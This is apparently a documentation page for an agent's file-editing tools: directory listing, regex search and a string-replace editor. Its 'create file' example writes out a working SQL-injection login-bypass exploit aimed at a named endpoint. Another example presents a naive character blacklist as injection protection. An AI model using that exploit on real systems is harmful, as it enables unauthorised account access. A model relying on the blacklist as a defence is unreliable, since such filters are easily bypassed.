Skip to main content
The file editing tools provide comprehensive file system operations including directory listing, regex search, and a powerful text editor for viewing and modifying files.

​
Tools Overview

  • list_files: List files and directories
  • search_files: Regex search across files
  • str_replace_editor: View, create, and edit files

​
list_files

List files and directories within the specified directory.
​
path
string
required
Directory path to list
​
recursive
boolean
default:"false"
Whether to list files recursively

​
Response

​
files
array
List of files found
​
directories
array
List of directories found
​
total_files
number
Total number of files found
​
total_dirs
number
Total number of directories found

​
Example

# List directory contents
list_files(
    path="/home/user/project/src"
)

# Recursive listing
list_files(
    path="/home/user/project/src",
    recursive=True
)
Lists contents alphabetically. Returns maximum 500 results to avoid overwhelming output.

​
search_files

Perform a regex search across files in a directory.
​
path
string
required
Directory path to search
​
regex
string
required
Regular expression pattern to search for
​
file_pattern
string
default:"*"
File pattern to filter (e.g., “.py”, “.js”)

​
Response

​
output
string
The search results as a string

​
Example

# Search Python files for a pattern
search_files(
    path="/home/user/project/src",
    regex=r"def\s+process_data",
    file_pattern="*.py"
)

# Search for SQL queries in JavaScript files
search_files(
    path="/workspace/app",
    regex=r"SELECT.*FROM",
    file_pattern="*.js"
)
Searches recursively through subdirectories using ripgrep for fast searching.

​
str_replace_editor

A text editor tool for viewing, creating, and editing files.
​
command
string
required
Editor command to execute:
  • view: Show file contents
  • create: Create a new file
  • str_replace: Replace text in file
  • insert: Insert text after a line
  • undo_edit: Revert the last edit
​
path
string
required
Path to the file to edit
​
file_text
string
Required for create command. The content of the file to be created.
​
view_range
string
Optional for view command. Line number range to view, e.g., [11, 12] will show lines 11 and 12. Setting [start_line, -1] shows all lines from start_line to end.
​
old_str
string
Required for str_replace command. The string in the file to replace.
​
new_str
string
Required for str_replace and insert commands. The new string to use.
​
insert_line
string
Required for insert command. The new_str will be inserted AFTER this line number.

​
Response

​
content
string
The result of the operation
​
error
string
Error message if operation failed

​
Examples

​
Viewing Files

# View entire file
str_replace_editor(
    command="view",
    path="/home/user/project/file.py"
)

# View specific line range
str_replace_editor(
    command="view",
    path="/home/user/project/file.py",
    view_range=[10, 50]
)

# View from line 20 to end
str_replace_editor(
    command="view",
    path="/home/user/project/file.py",
    view_range=[20, -1]
)

​
Creating Files

# Create a new Python exploit script
str_replace_editor(
    command="create",
    path="/home/user/project/exploit.py",
    file_text="""#!/usr/bin/env python3
\"\"\"SQL Injection exploit for Acme Corp login endpoint.\"\"\"

import requests
import sys

TARGET = "https://app.acme-corp.com/api/v1/auth/login"

def exploit(username: str) -> dict:
    payload = {
        "username": f"{username}'--",
        "password": "anything"
    }
    response = requests.post(TARGET, json=payload, timeout=10)
    return response.json()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <username>")
        sys.exit(1)

    result = exploit(sys.argv[1])
    print(f"Result: {result}")
"""
)

​
Replacing Text

# Replace a function call
str_replace_editor(
    command="str_replace",
    path="/home/user/project/file.py",
    old_str="old_function()",
    new_str="new_function()"
)

# Fix SQL injection vulnerability
str_replace_editor(
    command="str_replace",
    path="/home/user/project/auth.py",
    old_str="""def authenticate(username, password):
    query = f"SELECT * FROM users WHERE username = '{username}'"
    result = db.execute(query)
    return result""",
    new_str="""def authenticate(username, password):
    query = "SELECT * FROM users WHERE username = %s"
    result = db.execute(query, (username,))
    return result"""
)

​
Inserting Text

# Insert validation function after line 10
str_replace_editor(
    command="insert",
    path="/home/user/project/file.py",
    insert_line=10,
    new_str="""def validate_input(user_input: str) -> bool:
    \"\"\"Validate user input to prevent injection attacks.\"\"\"
    forbidden_chars = ["'", '"', ";", "--", "/*", "*/"]
    for char in forbidden_chars:
        if char in user_input:
            return False
    return True"""
)

​
Undoing Changes

# Undo the last edit
str_replace_editor(
    command="undo_edit",
    path="/home/user/project/file.py"
)

​
Important Notes

The str_replace command requires exact string matching. Ensure the old_str parameter exactly matches the text in the file, including whitespace and indentation.

​
Command Details

  • view: Show file contents, optionally with line range. Indexing starts at 1.
  • create: Create a new file with given content. Will fail if file already exists.
  • str_replace: Replace old_str with new_str in file. Must match exactly.
  • insert: Insert new_str AFTER the specified line number.
  • undo_edit: Revert the last edit made to the file.

​
Best Practices

  1. Always view a file before editing to understand its structure
  2. Use specific, unique strings in str_replace to avoid ambiguity
  3. Include sufficient context in old_str to ensure correct replacement
  4. Test complex replacements on a small section first
  5. Use undo_edit if a change needs to be reverted
When working with indented code (Python, YAML), make sure to preserve exact indentation in your old_str and new_str parameters.

Build docs developers (and LLMs) love

Get started for freeTalk to us